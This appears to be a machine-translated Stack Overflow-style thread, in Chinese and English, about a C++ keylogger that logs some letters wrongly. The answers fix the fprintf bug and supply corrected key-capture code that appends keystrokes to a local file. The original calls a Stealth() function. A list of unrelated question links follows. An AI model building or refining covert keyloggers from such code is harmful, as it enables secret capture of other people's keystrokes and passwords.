C ++键盘记录器无法正常工作
c++ keylogger not working correct
我一直是stackoverflow的访问者,这是我在这个网站上的第一个问题:)我正在尝试编写一个键盘记录器,它将按下的键保存在.txt文件中,但问题是这个。我用cout检查cmd.exe上的输出,我看到它工作正常,但是当我打开LOG.txt文件时,我看到程序将abcdefgh打印为012345678。只有这些非大写字母不起作用。文件中正确打印了所有其他键。这是我的主要功能:
int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}
保存功能:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
我认为有一件事是错误的,而有几件事我会做不同的事情。首先,我认为我不会让它在每次写入单个字符时打开和关闭文件。
其次(错误的错误),是调用fprintf
指定字符串%s
并为其提供整数指针&key
。应该fprintf(OUTPUT_FILE, "%c", (char)key)
一个简单的修复,尽管存在更优雅的解决方案来放置单个字符,即putc
。
我直言,这段代码中有一个主要问题:您将i
用作循环索引,并在循环中更改其值。
另一个问题是你的Save
函数是完全错误的。
在我自己的盒子上,以下代码正确显示按下的键,并将它们记录到文件LOG.txt
:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
//Stealth();
//Focus();
char i;
// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
//i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
// system("pause"); never used ...
return 0;
}
当然,我必须按 Ctrl-C 或 Ctrl-Break 才能停止程序,非字母数字键会显示奇怪的符号......
但是当我输入 ABCDEFGH012345678 然后 Ctrl-C(不使用数字键盘)时,我在 LOG 中得到如预期的那样.txt :
A (41) B (42) C (43) D (44) E (45) F (46) G (47)H (48) 0 (30) 1 (31) 2 (32) 3 (33) 4 (34) 5 (35) 6 (36) 7 (37) 8 (38) .(十一)
代表的最后一个字符是 Ctrl,这里是一个点.
但实际上是一个正方形......
- QSqlquery prepare()和bindvalue()不工作
- 导入库可以跨dll版本工作吗
- 以螺旋方式打印矩阵的程序.(工作不好)
- 对象指针在c++中是如何工作的
- 为什么在Windows上的VS 2019和Clang 9中"size_t"在没有标题的情况下工作
- VSOMEIP-2个设备之间的通信(TCP/UDP)不工作
- 为字符串中每 N 个字符插入空格的函数没有按照我认为的方式工作?
- C++为线程工作动态地分割例程
- 为什么我的 std::ref 无法按预期工作?
- 布尔比较运算符是如何在C++中工作的
- SampleConsensusPrerejective(ext.RANSAC)是如何真正工作的
- 不确定要在我的main中放入什么才能使我的代码正常工作
- 为什么std::condition_variable notify_all的工作速度比notify_one快(对于随机请
- <<操作员在下面的行中工作
- 有人能解释一下为什么下界是这样工作的吗C++的
- ExtractIconEx:可以工作,但偶尔会崩溃
- C++中的memset函数工作不正常
- 当我在第一个循环中使用"auto"时,它工作正常,但是使用"int"它会给出错误,为什么?
- 为什么STD ::计数将常数传递给Lambda,而不是在弦上工作时而不是字符
- C++程序已停止工作-求解常微分方程